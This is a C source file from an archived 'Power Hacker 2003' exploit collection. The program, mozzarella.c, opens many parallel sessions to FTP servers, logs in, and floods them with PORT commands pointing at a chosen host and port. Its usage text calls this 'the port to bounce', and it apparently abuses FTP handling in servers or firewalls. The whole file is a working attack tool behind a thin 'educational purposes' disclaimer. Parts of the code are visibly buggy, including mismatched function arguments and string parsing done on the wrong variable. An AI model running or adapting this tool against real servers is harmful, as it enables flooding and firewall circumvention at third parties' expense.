home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / mozzarella.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-01-03  |  8.7 KB  |  316 lines

  1. /*
  2.         L'autore non e' conosciuto e comunque non si assume alcuna
  3.         responsabilita' per l'utilizzo di questo programma che viene
  4.         distribuito senza alcuna garanzia e per puri scopi educativi.
  5.         Tale programma e' distribuito sotto la licenza GPL presente
  6.         all'url: http://www.gnu.org/licenses/gpl.html
  7.  
  8.         Benchmark:
  9.         3 servers, 3 instances per server, 10 connections/second,
  10.         2 dropped on 632 :)
  11. */
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18. #include <unistd.h>
  19. #include <netdb.h>
  20. #include <string.h>
  21. #include <sys/wait.h>
  22. #include <sys/time.h>
  23.  
  24. #define ONESEC 1000000 /* usecs :) */
  25. #define ANONPWD "modella@lamozzerlla.fastweb.sux"
  26.  
  27. unsigned long int
  28. resolv(char *host)
  29. {
  30.         unsigned long int ip;
  31.         struct hostent *he;
  32.  
  33.         ip = inet_addr(host);
  34.         if(ip != -1)
  35.                 return ip;
  36.         he = gethostbyname(host);
  37.         if(he != NULL) {
  38.                 memcpy(&ip, he->h_addr, sizeof(unsigned long int));
  39.                 return ip;
  40.         }
  41.  
  42.         fprintf(stderr, "Cannot resolve %s\n", host);
  43.         perror("gethostbyname");
  44. }
  45.  
  46. int /* -1: EOF, 0: not endline, 1: endline */
  47. ftp_readline(char *buf, int maxsz)
  48. {
  49.         int islast = 0;
  50.  
  51.         if(!fgets(buf, maxsz, stdin))
  52.                 return -1;
  53.         if(buf[3] == ' ')
  54.                 islast = 1;
  55.         while(!strchr(buf, '\n'))
  56.                 if(!fgets(buf, maxsz, stdin))
  57.                         return islast;
  58.         return islast;
  59. }
  60.  
  61. int
  62. ftp_connect(char *host, int port)
  63. {
  64.         int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  65.         struct sockaddr_in sin;
  66.  
  67.         if(s<0)
  68.         {
  69.                 perror("socket");
  70.                 return -1;
  71.         }
  72.         sin.sin_family = AF_INET;
  73.         sin.sin_port = htons(port);
  74.         sin.sin_addr.s_addr = resolv(host);
  75.         if(sin.sin_addr.s_addr == -1) {
  76.                 close(s);
  77.                 return -1;
  78.         }
  79.         if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0)
  80.         {
  81.                 perror("connect");
  82.                 close(s);
  83.                 return -1;
  84.         }
  85.         return s;
  86. }
  87.  
  88. int
  89. ftp_status(char *s)
  90. {
  91.         char p[5];
  92.  
  93.         memcpy(p, s, 4);
  94.         p[4] = 0;
  95.  
  96.         return atoi(p);
  97. }
  98.  
  99. int
  100. ftp_login(char *u, char *p)
  101. {
  102.         char buf[4096];
  103.         int r;
  104.  
  105.         while(!(r = ftp_readline(buf,sizeof(buf))))
  106.                 ;
  107.  
  108.         if(r < 0)
  109.         {
  110.                 fprintf(stderr, "Error reading from socket..\n");
  111.                 return -1;
  112.         }
  113.         printf("USER %s\r\n", u); fflush(stdout);
  114.         if((r = ftp_readline(buf, sizeof(buf)))<0) {
  115.                 fprintf(stderr, "Error reading from socket..\n");
  116.                 return -1;
  117.         }
  118.         if(ftp_status(buf) == 230)
  119.                 return 0;
  120.         if(ftp_status(buf) != 331) {
  121.                 fprintf(stderr, "Error logging in : %s\n", buf);
  122.                 return -1;
  123.         }
  124.         if(!r) {
  125.                 while(!(r = ftp_readline(buf, sizeof(buf))))
  126.                         ;
  127.                 if(r < 0)
  128.                         fprintf(stderr, "Error reading from socket...:%s\n",
  129.                                 buf);
  130.                 return -1;
  131.         }
  132.         printf("PASS %s\r\n", p); fflush(stdout);
  133.         if((r = ftp_readline(buf, sizeof(buf)))<0) {
  134.                 fprintf(stderr, "Error reading from socket..\n");
  135.                 return -1;
  136.         }
  137.         if(ftp_status(buf) == 230) {
  138.                 if(!r)
  139.                         while(!(r = ftp_readline(buf, sizeof(buf))))
  140.                                 ;
  141.                 return 0;
  142.         }
  143.         fprintf(stderr, "Error loggin in: %s\n", buf);
  144.         return -1;
  145. }
  146.  
  147. void
  148. splitip(char *host, int *v)
  149. {
  150.         struct in_addr tmp;
  151.         char *stmp, *q;
  152.  
  153.         tmp.s_addr = resolv(host);
  154.         stmp = strdup(inet_ntoa(tmp));
  155.         q = strtok(host, "."); v[0] = atoi(q);
  156.         q = strtok(NULL, "."); v[1] = atoi(q);
  157.         q = strtok(NULL, "."); v[2] = atoi(q);
  158.         q = strtok(NULL, "."); v[3] = atoi(q);
  159.         free(stmp);
  160. }
  161.  
  162. int
  163. ftp_port(int ip[4], int port)
  164. {
  165.         char dummy[1024];
  166.         int i;
  167.  
  168.         printf("SYST\r\n");
  169.         printf("PORT %u,%u,%u,%u,%u,%u\r\n",
  170.                 ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
  171. #ifdef VERBOSE
  172.         fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u\r\n",
  173.                 ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
  174. #endif
  175.  
  176.         fflush(stdout);
  177.         if(ftp_readline(dummy, sizeof(dummy))<0)
  178.                 return -1;
  179.         else return 0;
  180. };
  181.  
  182. int
  183. create_instances(int num, char *host, int fport,
  184.         char *u, char *p, int *lip, int port, int pps)
  185. {
  186.         int masterpid = getpid(), new;
  187.  
  188.         while(num)
  189.         {
  190.                 new = fork();
  191.                 if(new == 0)
  192.                         return childmain(host,fport,u,p,lip,port);
  193.                 usleep(ONESEC/3);
  194.                 num--;
  195.         }
  196. }
  197.  
  198. int
  199. main(int argc,char **argv)
  200. {
  201.         int c;
  202.         int port = -1,anonymous=0, ftpport=21,instances=3,hostnum=0,
  203.                 pps = 4;
  204.         char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s;
  205.         int local_ip[4];
  206.  
  207.         while((c = getopt(argc, argv, "i:hu:p:aH:P:L:S:r:"))!=EOF)
  208.         switch(c)
  209.         {
  210.                 case 'r':
  211.                         pps = atoi(optarg);
  212.                         break;
  213.                 case 'i':
  214.                         instances = atoi(optarg);
  215.                         break;
  216.                 case 'u':
  217.                         user = optarg;
  218.                         break;
  219.                 case 'p':
  220.                         pass = optarg;
  221.                         break;
  222.                 case 'H':
  223.                         if(hostnum==256) {
  224.                                 printf("No more space\n");
  225.                                 break;
  226.                         }
  227.                         host[hostnum++] = optarg;
  228.                         break;
  229.                 case 'a':
  230.                         anonymous = 1; break;
  231.                 case 'P':
  232.                         port = atoi(optarg); break;
  233.                 case 'L':
  234.                         local = optarg; break;
  235.                 case 'h':
  236.                 default:
  237.                         printf("Usage: %s [-h][-u username -p password][-a][-H host][-P port_to_open][-L localhost]\n", argv[0]);
  238.                         printf("\t-h this help\n");
  239.                         printf("\t-u username for ftp\n");
  240.                         printf("\t-p password for ftp\n");
  241.                         printf("\t-H ftp host\n");
  242.                         printf("\t-L your local ip\n");
  243.                         printf("\t-P the port to bounce\n");
  244.                         printf("\t-a use anonymous ftp\n");
  245.                         printf("\t-r number of PORT commands to send for each server any second\n");
  246.                         printf("\t-i number of session for ftp\n");
  247.                         printf("You can specify MORE -H switches.\n");
  248.                         exit(1);
  249.                         break;
  250.         }
  251.         if(!anonymous && (!user||!pass))
  252.         {
  253.                 printf("User and/or password missing AND anonymous mode not specified\n");
  254.                 exit(1);
  255.         }
  256.         if(!host || port <0)
  257.         {
  258.                 printf("FTP host or port not specified\n");
  259.                 exit(1);
  260.         }
  261.  
  262.         splitip(local, local_ip);
  263.         if(anonymous) {
  264.                 user = "anonymous";
  265.                 pass = ANONPWD;
  266.         }
  267.         for(c = 0; c<hostnum; ++c)
  268.         {
  269.                 create_instances(instances,
  270.                 host[c],ftpport,user,pass,local_ip,port, pps);
  271.         }
  272.  
  273.         exit(0);
  274. }
  275.  
  276. int
  277. childmain(char *host, int ftpport, char *user, char *pass, int *local_ip,
  278.                 int port, int pps)
  279. {
  280.  
  281.         int c, d = 0, a;
  282.  
  283.         while(1) {
  284.  
  285.         if((c = ftp_connect(host,ftpport))<0 && !d)
  286.                 exit(1);
  287.         else while(c < 0) {
  288.                         c = ftp_connect(host, ftpport);
  289.                         sleep(1);
  290.                 }
  291.         fprintf(stderr, "+ Connected...\n");
  292.         dup2(c, 0);
  293.         dup2(c, 1);
  294.         if((a = ftp_login(user, pass))<0 && !d) {
  295.                 shutdown(c, 2);
  296.                 close (c);
  297.                 exit(1);
  298.         } else while(a<0) {
  299.                         a = ftp_login(user, pass);
  300.                         sleep(1);
  301.                 }
  302.         fprintf(stderr, "+ Logged in...\n");
  303.         d++;
  304.         while(1)
  305.         {
  306.                 //fprintf(stderr, "+ Sending...\n");
  307.                 usleep(ONESEC/pps);
  308.                 if(ftp_port(local_ip, port)<0) {
  309.                         shutdown(c, 2);
  310.                         close(c);
  311.                         break;
  312.                 }
  313.         }
  314.         }
  315. }
  316.